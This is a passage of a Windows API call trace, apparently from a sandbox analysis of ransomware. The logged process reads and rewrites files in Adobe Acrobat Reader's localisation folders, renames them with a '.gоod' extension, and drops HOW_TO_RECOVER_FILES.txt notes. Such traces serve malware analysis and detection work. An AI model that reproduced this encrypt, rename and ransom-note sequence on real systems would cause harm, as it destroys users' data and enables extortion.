DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0217.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0217.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0217.315] GetFileType (hFile=0x824) returned 0x1 [0217.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0217.315] GetFileType (hFile=0x824) returned 0x1 [0217.315] WriteFile (in: hFile=0x824, lpBuffer=0x3703608*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3703608*, lpNumberOfBytesWritten=0x203eb168*=0x720, lpOverlapped=0x0) returned 1 [0217.316] CloseHandle (hObject=0x824) returned 1 [0217.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0217.316] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0217.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0217.316] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7dbd91ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0217.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0217.316] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\ui-strings.js.gоod")) returned 1 [0217.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0217.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0217.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\pt-br\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0217.318] GetFileType (hFile=0x824) returned 0x1 [0217.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0217.318] GetFileType (hFile=0x824) returned 0x1 [0217.319] WriteFile (in: hFile=0x824, lpBuffer=0x3706f18*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3706f18*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0217.320] CloseHandle (hObject=0x824) returned 1 [0217.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0217.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro", lpFilePart=0x0) returned 0x77 [0217.320] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.321] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0217.321] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.321] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0217.321] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0217.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0217.321] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro", lpFilePart=0x0) returned 0x77 [0217.321] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0217.321] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0217.322] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0217.322] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0217.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0217.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0217.322] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0217.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0217.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3716df0 | out: lpFileInformation=0x3716df0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x764)) returned 1 [0217.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0217.322] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0217.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0217.323] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0217.323] GetFileType (hFile=0x824) returned 0x1 [0217.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0217.323] GetFileType (hFile=0x824) returned 0x1 [0217.323] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x764 [0217.323] ReadFile (in: hFile=0x824, lpBuffer=0x3717900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3717900*, lpNumberOfBytesRead=0x203eb258*=0x764, lpOverlapped=0x0) returned 1 [0218.506] CloseHandle (hObject=0x824) returned 1 [0218.534] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0218.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0218.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0219.331] GetFileType (hFile=0x860) returned 0x1 [0219.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0219.332] GetFileType (hFile=0x860) returned 0x1 [0219.333] WriteFile (in: hFile=0x860, lpBuffer=0x375c110*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x375c110*, lpNumberOfBytesWritten=0x203eb168*=0x770, lpOverlapped=0x0) returned 1 [0220.237] CloseHandle (hObject=0x860) returned 1 [0220.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0220.237] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0220.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0220.239] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7f7bf1db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x770)) returned 1 [0220.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0220.270] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\ui-strings.js.gоod")) returned 1 [0220.270] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0220.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0220.271] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\ro-ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0220.271] GetFileType (hFile=0x860) returned 0x1 [0220.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0220.271] GetFileType (hFile=0x860) returned 0x1 [0220.272] WriteFile (in: hFile=0x860, lpBuffer=0x393a1d8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x393a1d8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0220.273] CloseHandle (hObject=0x860) returned 1 [0220.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0220.273] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root", lpFilePart=0x0) returned 0x76 [0220.273] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0220.273] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.273] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0220.273] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.274] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0220.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0220.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0220.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0220.274] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root", lpFilePart=0x0) returned 0x76 [0220.274] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0220.274] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.274] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0220.274] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0220.274] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0220.275] 